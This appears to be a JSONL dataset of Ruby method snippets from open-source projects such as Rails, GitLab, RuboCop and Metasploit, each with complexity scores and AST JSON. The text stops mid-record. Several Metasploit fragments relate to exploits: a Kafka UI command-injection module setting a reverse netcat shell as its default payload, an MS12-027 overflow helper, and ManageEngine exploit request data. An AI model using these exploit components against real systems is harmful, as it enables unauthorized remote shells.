{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/layout/empty_line_after_guard_clause.rb","start_line":63,"raw_source":"def on_if(node)\n          return if correct_style?(node)\n          return if multiple_statements_on_line?(node)\n\n          if node.modifier_form? && (heredoc_node = last_heredoc_argument(node))\n            if next_line_empty_or_allowed_directive_comment?(heredoc_line(node, heredoc_node))\n              return\n            end\n\n            add_offense(heredoc_node.loc.heredoc_end) do |corrector|\n              autocorrect(corrector, heredoc_node)\n            end\n          else\n            return if next_line_empty_or_allowed_directive_comment?(node.last_line)\n\n            add_offense(offense_location(node)) { |corrector| autocorrect(corrector, node) }\n          end\n        end","complexity_score":28.7,"ast_json":"{\"type\":\"def\",\"children\":[\"on_if\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"correct_style?\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"multiple_statements_on_line?\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"modifier_form?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"heredoc_node\",{\"type\":\"send\",\"children\":[null,\"last_heredoc_argument\",{\"type\":\"lvar\",\"children\":[\"node\"]}]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"next_line_empty_or_allowed_directive_comment?\",{\"type\":\"send\",\"children\":[null,\"heredoc_line\",{\"type\":\"lvar\",\"children\":[\"node\"]},{\"type\":\"lvar\",\"children\":[\"heredoc_node\"]}]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_offense\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"heredoc_node\"]},\"loc\"]},\"heredoc_end\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"corrector\"]}]},{\"type\":\"send\",\"children\":[null,\"autocorrect\",{\"type\":\"lvar\",\"children\":[\"corrector\"]},{\"type\":\"lvar\",\"children\":[\"heredoc_node\"]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"next_line_empty_or_allowed_directive_comment?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"last_line\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_offense\",{\"type\":\"send\",\"children\":[null,\"offense_location\",{\"type\":\"lvar\",\"children\":[\"node\"]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"corrector\"]}]},{\"type\":\"send\",\"children\":[null,\"autocorrect\",{\"type\":\"lvar\",\"children\":[\"corrector\"]},{\"type\":\"lvar\",\"children\":[\"node\"]}]}]}]}]}]}]}","id":"52532324-950a-4e9c-b34a-96167adf26c8"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/concerns/integrations/base_data_fields.rb","start_line":66,"raw_source":"def validate_belongs_to_one_of_project_group_or_organization\n      return if [group_id, project_id, organization_id].compact.one?\n\n      errors.add(:base, 'one of project_id, group_id or organization_id must be present')\n    end","complexity_score":9.6,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_belongs_to_one_of_project_group_or_organization\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"group_id\"]},{\"type\":\"send\",\"children\":[null,\"project_id\"]},{\"type\":\"send\",\"children\":[null,\"organization_id\"]}]},\"compact\"]},\"one?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"base\"]},{\"type\":\"str\",\"children\":[\"one of project_id, group_id or organization_id must be present\"]}]}]}]}","id":"67591945-56a0-484a-b921-72b41164a6a1"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/services/work_packages/shared/working_days.rb","start_line":67,"raw_source":"def start_date(due_date, duration)\n        assert_strictly_positive_duration(duration)\n        return nil unless due_date && duration\n\n        start_date = latest_working_day(due_date)\n        until duration <= 1 && working?(start_date)\n          start_date -= 1\n          duration -= 1 if working?(start_date)\n        end\n        start_date\n      end","complexity_score":17.98,"ast_json":"{\"type\":\"def\",\"children\":[\"start_date\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"due_date\"]},{\"type\":\"arg\",\"children\":[\"duration\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_strictly_positive_duration\",{\"type\":\"lvar\",\"children\":[\"duration\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"due_date\"]},{\"type\":\"lvar\",\"children\":[\"duration\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"start_date\",{\"type\":\"send\",\"children\":[null,\"latest_working_day\",{\"type\":\"lvar\",\"children\":[\"due_date\"]}]}]},{\"type\":\"until\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"duration\"]},\"<=\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[null,\"working?\",{\"type\":\"lvar\",\"children\":[\"start_date\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"start_date\"]},\"-\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"working?\",{\"type\":\"lvar\",\"children\":[\"start_date\"]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"duration\"]},\"-\",{\"type\":\"int\",\"children\":[1]}]},null]}]}]},{\"type\":\"lvar\",\"children\":[\"start_date\"]}]}]}","id":"6fd2c061-82b9-4ae6-8a7b-cd2d63cf6ab0"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/system/page_objects/components/composer.rb","start_line":329,"raw_source":"def has_no_in_progress_uploads?\n        find(\"#{@composer_id}\").has_no_css?(\"#file-uploading\")\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"has_no_in_progress_uploads?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"find\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@composer_id\"]}]}]}]},\"has_no_css?\",{\"type\":\"str\",\"children\":[\"#file-uploading\"]}]}]}","id":"019401c6-37c0-4c26-ad29-68fc9f3dc736"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/kafka_ui_unauth_rce_cve_2023_52251.rb","start_line":13,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Kafka UI Unauthenticated Remote Command Execution via the Groovy Filter option.',\n        'Description' => %q{\n          A command injection vulnerability exists in Kafka ui between `v0.4.0` and `v0.7.1` allowing\n          an attacker to inject and execute arbitrary shell commands via the `groovy` filter parameter\n          at the `topic` section.\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [\n          'h00die-gr3y <h00die.gr3y[at]gmail.com>', # MSF module contributor\n          'BobTheShopLifter and Thingstad', # Discovery of the vulnerability CVE-2023-52251\n        ],\n        'References' => [\n          ['CVE', '2023-52251'],\n          ['URL', 'https://attackerkb.com/topics/ATJ1hTVB8H/cve-2023-52251'],\n          ['URL', 'https://github.com/BobTheShoplifter/CVE-2023-52251-POC']\n        ],\n        'DisclosureDate' => '2023-09-27',\n        'Platform' => ['unix', 'linux'],\n        'Arch' => [ARCH_CMD, ARCH_X64, ARCH_X86],\n        'Privileged' => false,\n        'Targets' => [\n          [\n            'Unix/Linux Command',\n            {\n              'Platform' => ['unix', 'linux'],\n              'Arch' => [ARCH_CMD],\n              'Type' => :unix_cmd,\n              'Payload' => {\n                'Encoder' => 'cmd/base64',\n                'BadChars' => \"\\x00\"\n              },\n              'DefaultOptions' => {\n                'PAYLOAD' => 'cmd/unix/reverse_netcat'\n              }\n            }\n          ]\n        ],\n        'DefaultTarget' => 0,\n        'DefaultOptions' => {\n          'RPORT' => 8080,\n          'SSL' => false\n        },\n        'Notes' => {\n          'Stability' => [CRASH_SAFE],\n          'Reliability' => [REPEATABLE_SESSION],\n          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]\n        }\n      )\n    )\n  end","complexity_score":3.3,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Kafka UI Unauthenticated Remote Command Execution via the Groovy Filter option.\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          A command injection vulnerability exists in Kafka ui between `v0.4.0` and `v0.7.1` allowing\\n\"]},{\"type\":\"str\",\"children\":[\"          an attacker to inject and execute arbitrary shell commands via the `groovy` filter parameter\\n\"]},{\"type\":\"str\",\"children\":[\"          at the `topic` section.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"h00die-gr3y <h00die.gr3y[at]gmail.com>\"]},{\"type\":\"str\",\"children\":[\"BobTheShopLifter and Thingstad\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2023-52251\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://attackerkb.com/topics/ATJ1hTVB8H/cve-2023-52251\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://github.com/BobTheShoplifter/CVE-2023-52251-POC\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2023-09-27\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"unix\"]},{\"type\":\"str\",\"children\":[\"linux\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARCH_CMD\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_X64\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_X86\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Unix/Linux Command\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"unix\"]},{\"type\":\"str\",\"children\":[\"linux\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARCH_CMD\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Type\"]},{\"type\":\"sym\",\"children\":[\"unix_cmd\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Encoder\"]},{\"type\":\"str\",\"children\":[\"cmd/base64\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"BadChars\"]},{\"type\":\"str\",\"children\":[\"\\u0000\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"PAYLOAD\"]},{\"type\":\"str\",\"children\":[\"cmd/unix/reverse_netcat\"]}]}]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"RPORT\"]},{\"type\":\"int\",\"children\":[8080]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SSL\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SAFE\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"REPEATABLE_SESSION\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IOC_IN_LOGS\"]},{\"type\":\"const\",\"children\":[null,\"ARTIFACTS_ON_DISK\"]}]}]}]}]}]}]}]}]}","id":"b46b6109-01cc-4761-8387-4164150e37b1"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/user_preference.rb","start_line":89,"raw_source":"def notes_filter_for(resource)\n    self[notes_filter_field_for(resource)]\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"notes_filter_for\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"resource\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"[]\",{\"type\":\"send\",\"children\":[null,\"notes_filter_field_for\",{\"type\":\"lvar\",\"children\":[\"resource\"]}]}]}]}","id":"c2699708-2f77-44d6-a055-8bee08e7b6e7"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/fileformat/ms12_027_mscomctl_bof.rb","start_line":93,"raw_source":"def junk(n = 1)\n    tmp = []\n    value = rand_text(4).unpack(\"L\")[0].to_i\n    n.times { tmp << value }\n    return tmp\n  end","complexity_score":12.0,"ast_json":"{\"type\":\"def\",\"children\":[\"junk\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"n\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"tmp\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"value\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand_text\",{\"type\":\"int\",\"children\":[4]}]},\"unpack\",{\"type\":\"str\",\"children\":[\"L\"]}]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"to_i\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"n\"]},\"times\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tmp\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"value\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tmp\"]}]}]}]}","id":"4b500ba4-c286-4802-a11b-c4edd8ed91ec"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/module/arch.rb","start_line":17,"raw_source":"def arch?(what)\n    if (what == ARCH_ANY)\n      true\n    else\n      arch.index(what) != nil\n    end\n  end","complexity_score":5.9,"ast_json":"{\"type\":\"def\",\"children\":[\"arch?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"what\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"what\"]},\"==\",{\"type\":\"const\",\"children\":[null,\"ARCH_ANY\"]}]}]},{\"type\":\"true\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"arch\"]},\"index\",{\"type\":\"lvar\",\"children\":[\"what\"]}]},\"!=\",{\"type\":\"nil\",\"children\":[]}]}]}]}","id":"2ab643d1-a650-4927-ac64-6529c3a00994"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/costs/app/models/work_packages/scopes/allowed_to_log_time.rb","start_line":38,"raw_source":"def allowed_to_log_time(user)\n        # This nesting of WorkPackage.where(id: WorkPackage) is made necessary to\n        # have the two ORed relations structurally identical.\n        WorkPackage.where(id: WorkPackage.allowed_to(user, :log_own_time)).or(\n          WorkPackage.where(project_id: Project.allowed_to(user, :log_time))\n        )\n      end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"allowed_to_log_time\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"WorkPackage\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"WorkPackage\"]},\"allowed_to\",{\"type\":\"lvar\",\"children\":[\"user\"]},{\"type\":\"sym\",\"children\":[\"log_own_time\"]}]}]}]}]},\"or\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"WorkPackage\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Project\"]},\"allowed_to\",{\"type\":\"lvar\",\"children\":[\"user\"]},{\"type\":\"sym\",\"children\":[\"log_time\"]}]}]}]}]}]}]}","id":"0b0af6a9-f370-4a58-bd02-6a90dbb26ed4"}
{"repo_name":"rails","file_path":"./repos/rails/railties/lib/rails/application_controller.rb","start_line":17,"raw_source":"def require_local!\n      unless local_request?\n        render html: \"<p>For security purposes, this information is only available to local requests.</p>\".html_safe, status: :forbidden\n      end\n    end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"require_local!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"local_request?\"]},null,{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"html\"]},{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"<p>For security purposes, this information is only available to local requests.</p>\"]},\"html_safe\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"forbidden\"]}]}]}]}]}]}","id":"cbfa657e-413c-423a-b29b-97164e214648"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/error_reporter.rb","start_line":79,"raw_source":"def handle(*error_classes, severity: :warning, context: {}, fallback: nil, source: DEFAULT_SOURCE)\n      error_classes = DEFAULT_RESCUE if error_classes.empty?\n      yield\n    rescue *error_classes => error\n      report(error, handled: true, severity: severity, context: context, source: source)\n      fallback.call if fallback\n    end","complexity_score":10.4,"ast_json":"{\"type\":\"def\",\"children\":[\"handle\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"error_classes\"]},{\"type\":\"kwoptarg\",\"children\":[\"severity\",{\"type\":\"sym\",\"children\":[\"warning\"]}]},{\"type\":\"kwoptarg\",\"children\":[\"context\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"fallback\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"source\",{\"type\":\"const\",\"children\":[null,\"DEFAULT_SOURCE\"]}]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error_classes\"]},\"empty?\"]},{\"type\":\"lvasgn\",\"children\":[\"error_classes\",{\"type\":\"const\",\"children\":[null,\"DEFAULT_RESCUE\"]}]},null]},{\"type\":\"yield\",\"children\":[]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error_classes\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"error\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"report\",{\"type\":\"lvar\",\"children\":[\"error\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"handled\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"severity\"]},{\"type\":\"lvar\",\"children\":[\"severity\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"context\"]},{\"type\":\"lvar\",\"children\":[\"context\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"source\"]},{\"type\":\"lvar\",\"children\":[\"source\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fallback\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fallback\"]},\"call\"]},null]}]}]},null]}]}","id":"d9b9910a-1fa6-4735-af59-375499619c2a"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/file_helper.rb","start_line":207,"raw_source":"def self.supported_images_regexp\n    @@supported_images_regexp ||= /\\.(#{supported_images.to_a.join(\"|\")})\\z/i\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"supported_images_regexp\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"cvasgn\",\"children\":[\"@@supported_images_regexp\"]},{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\.(\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"supported_images\"]},\"to_a\"]},\"join\",{\"type\":\"str\",\"children\":[\"|\"]}]}]},{\"type\":\"str\",\"children\":[\")\\\\z\"]},{\"type\":\"regopt\",\"children\":[\"i\"]}]}]}]}","id":"99c80136-8c41-49bc-bfc8-5035871898e4"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/packages/build_infos_finder.rb","start_line":7,"raw_source":"def initialize(package_ids, params)\n      @package_ids = package_ids\n      @params = params\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"package_ids\"]},{\"type\":\"arg\",\"children\":[\"params\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@package_ids\",{\"type\":\"lvar\",\"children\":[\"package_ids\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@params\",{\"type\":\"lvar\",\"children\":[\"params\"]}]}]}]}","id":"238cba4d-fdb7-490a-8d92-25d664a0aef1"}
{"repo_name":"hooks","file_path":"./repos/hooks/lib/hooks/core/global_components.rb","start_line":28,"raw_source":"def self.get_extra_component(name)\n        @extra_components[name.to_sym] || @extra_components[name.to_s]\n      end","complexity_score":5.8,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"get_extra_component\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@extra_components\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"to_sym\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@extra_components\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"to_s\"]}]}]}]}","id":"e5545ae2-f508-41ff-acf9-2d416a8a0ce8"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/layout/closing_parenthesis_indentation.rb","start_line":187,"raw_source":"def line_break_after_left_paren?(left_paren, elements)\n          elements.first && elements.first.loc.line > left_paren.line\n        end","complexity_score":9.0,"ast_json":"{\"type\":\"def\",\"children\":[\"line_break_after_left_paren?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"left_paren\"]},{\"type\":\"arg\",\"children\":[\"elements\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"elements\"]},\"first\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"elements\"]},\"first\"]},\"loc\"]},\"line\"]},\">\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"left_paren\"]},\"line\"]}]}]}]}","id":"293156a8-1089-4947-8326-e17b954e3ebc"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/remote/http/manage_engine_adaudit_plus/json_post_data.rb","start_line":18,"raw_source":"def generate_gpo_watcher_data_json(options)\n    post_data = {}\n    return post_data.to_json unless options.is_a?(Hash)\n\n    post_data['isGPOData'] = options['isGPOData'] || true\n    post_data['DOMAIN_NAME'] = options['DOMAIN_NAME'] || ''\n    post_data['GPO_GUID'] = options['GPO_GUID'] || Rex::Proto::MsDtyp::MsDtypGuid.random_generate\n    post_data['GPO_VERSION'] = options['GPO_VERSION'] || rand(1..9)\n    post_data['VER_FILE_NAME'] = options['VER_FILE_NAME'] || generate_ver_file_name\n    post_data['xmlReport'] = options['xmlReport'] || '<?xml version=\"1.0\" encoding=\"utf-16\"?>'\n\n    html_fileName = options['Html_fileName']\n    post_data['Html_fileName'] = html_fileName if html_fileName\n\n    html_report = options['htmlReport']\n    post_data['htmlReport'] = html_report if html_report\n\n    post_data.to_json\n  end","complexity_score":35.2,"ast_json":"{\"type\":\"def\",\"children\":[\"generate_gpo_watcher_data_json\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"options\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"post_data\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Hash\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post_data\"]},\"to_json\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post_data\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"isGPOData\"]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"str\",\"children\":[\"isGPOData\"]}]},{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post_data\"]},\"[]=\",{